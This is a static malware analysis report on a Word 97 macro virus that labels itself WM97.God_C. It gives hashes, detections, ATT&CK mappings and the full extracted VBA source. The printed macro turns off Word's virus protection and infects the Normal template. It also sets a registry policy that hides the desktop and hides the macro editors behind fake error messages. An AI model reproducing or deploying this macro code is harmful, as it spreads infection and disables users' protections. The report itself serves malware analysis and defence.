Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8a5245185e4cf851…

MALICIOUS

Office (OLE)

45.0 KB Created: 2001-05-29 22:53:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 6c68ea4ac102b55e9a46c463a4fa660f SHA-1: 8811ea1b258f2d4e4b2888414380d2edf28f3363 SHA-256: 8a5245185e4cf851ef837ccb4a3388ff303a71f1e907bafc312b8912ea1135a5
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a malicious Word document containing a VBA macro with an AutoOpen subroutine. This macro attempts to import a file named 'God32.sys' from a hardcoded path and potentially modifies the 'NoDesktop' registry value, indicating an attempt to establish persistence and execute a payload. The ClamAV detection further confirms its malicious nature.

Heuristics 4

  • ClamAV: Doc.Trojan.Dog-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Dog-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3547 bytes
SHA-256: e157b2b6fc2ab5ffdd100f094ea7a5c10a6335f98b1b5bd0957031ac9a9b1db1
Detection
ClamAV: Doc.Trojan.Dog-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub AutoOpen()
On Error Resume Next
' test.doc 5/29/01 3:54:14 PM
With Options
.AllowFastSave = False
.VirusProtection = False
' test.doc 5/29/01 3:54:14 PM
.SaveNormalPrompt = False
' test.doc 5/29/01 3:54:14 PM
' test.doc 5/29/01 3:54:14 PM
End With
With Application
.Caption = "Microsoft Wörd -God"
.DisplayAlerts = wdAlertsNone
.Assistant.Visible = True
.Assistant.Animation = msoAnimationGreeting
End With
With Application.Assistant.NewBalloon
.Text = "Autor: Zerø|<LzØ>"
.Heading = "This is WM97.God_C"
.Show
End With
If Day(Now) = 12 Then
'God
System.PrivateProfileString("", "HKEY_USERS\.Default\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoDesktop") = 1
End If
Infection
End Sub
Sub Infection()
Set AD = ActiveDocument.VBProject.VBComponents
Set NT = NormalTemplate.VBProject.VBComponents
Path_ = "C:\Progra~1\God32.sys"
For i = 1 To NT.Count
If NT(i).Name = "God" Then
' test.doc 5/29/01 3:54:14 PM
NorInst = True
End If
Next i
For i = 1 To AD.Count
If AD(i).Name = "God" Then
DokInst = True
' test.doc 5/29/01 3:54:14 PM
End If
Next i
' test.doc 5/29/01 3:54:14 PM
If DokInst = True And NorInst = False Then
NT.Import Path_
End If
' test.doc 5/29/01 3:54:14 PM
If DokInst = False And NorInst = True Then
AD.Import Path
End If
' test.doc 5/29/01 3:54:14 PM
JCE
' test.doc 5/29/01 3:54:14 PM
End Sub
Sub DateiSpeichernUnter()
Infection
Dialogs(wdDialogFileSaveAs).Show
End Sub
Sub DateiSpeichern()
' test.doc 5/29/01 3:54:14 PM
Infection
ActiveDocument.SaveAs ActiveDocument.FullName
' test.doc 5/29/01 3:54:14 PM
End Sub
Sub DateiDokVorlagen()
MsgBox "Zu wenig Arbeitsspeicher um Anwendung auszuführen!", vbCritical
End Sub
Sub AnsichtCode()
MsgBox "Zu wenig Arbeitsspeicher um Anwendung auszuführen!", vbCritical
' test.doc 5/29/01 3:54:14 PM
End Sub
Sub AnsichtVBCode()
MsgBox "Zu wenig Arbeitsspeicher um Anwendung auszuführen!", vbCritical
End Sub
' test.doc 5/29/01 3:54:14 PM
Sub ExtrasMakro()
MsgBox "Zu wenig Arbeitsspeicher um Anwendung auszuführen!", vbCritical
End Sub
Sub JCE()
Set NT = NormalTemplate.VBProject.VBComponents
LS = NT("ThisDocument").CodeModule.CountOfLines
If LS < 200 Then
For x = 1 To Int((Rnd * 50) + 1)
LE = Int(Rnd() * LS + 1)
' test.doc 5/29/01 3:54:14 PM
IT = "'" & Application.ActivePrinter & " " & Application.ActiveDocument & " " & Now
NT("ThisDocument").CodeModule.InsertLines LE, IT
Next x
End If
' test.doc 5/29/01 3:54:14 PM
End Sub




' test.doc 5/29/01 3:54:14 PM

' test.doc 5/29/01 3:54:14 PM
' test.doc 5/29/01 3:54:14 PM


' test.doc 5/29/01 3:54:14 PM



' test.doc 5/29/01 3:54:14 PM

' test.doc 5/29/01 3:54:14 PM
















' test.doc 5/29/01 3:54:14 PM


' test.doc 5/29/01 3:54:14 PM
' test.doc 5/29/01 3:54:14 PM
' test.doc 5/29/01 3:54:14 PM






' test.doc 5/29/01 3:54:14 PM
' test.doc 5/29/01 3:54:14 PM


' test.doc 5/29/01 3:54:14 PM

' test.doc 5/29/01 3:54:14 PM



' test.doc 5/29/01 3:54:14 PM



' test.doc 5/29/01 3:54:14 PM
' test.doc 5/29/01 3:54:14 PM
' test.doc 5/29/01 3:54:14 PM









' test.doc 5/29/01 3:54:14 PM




' test.doc 5/29/01 3:54:14 PM

Open this report in the interactive analyzer, or submit your own file for analysis.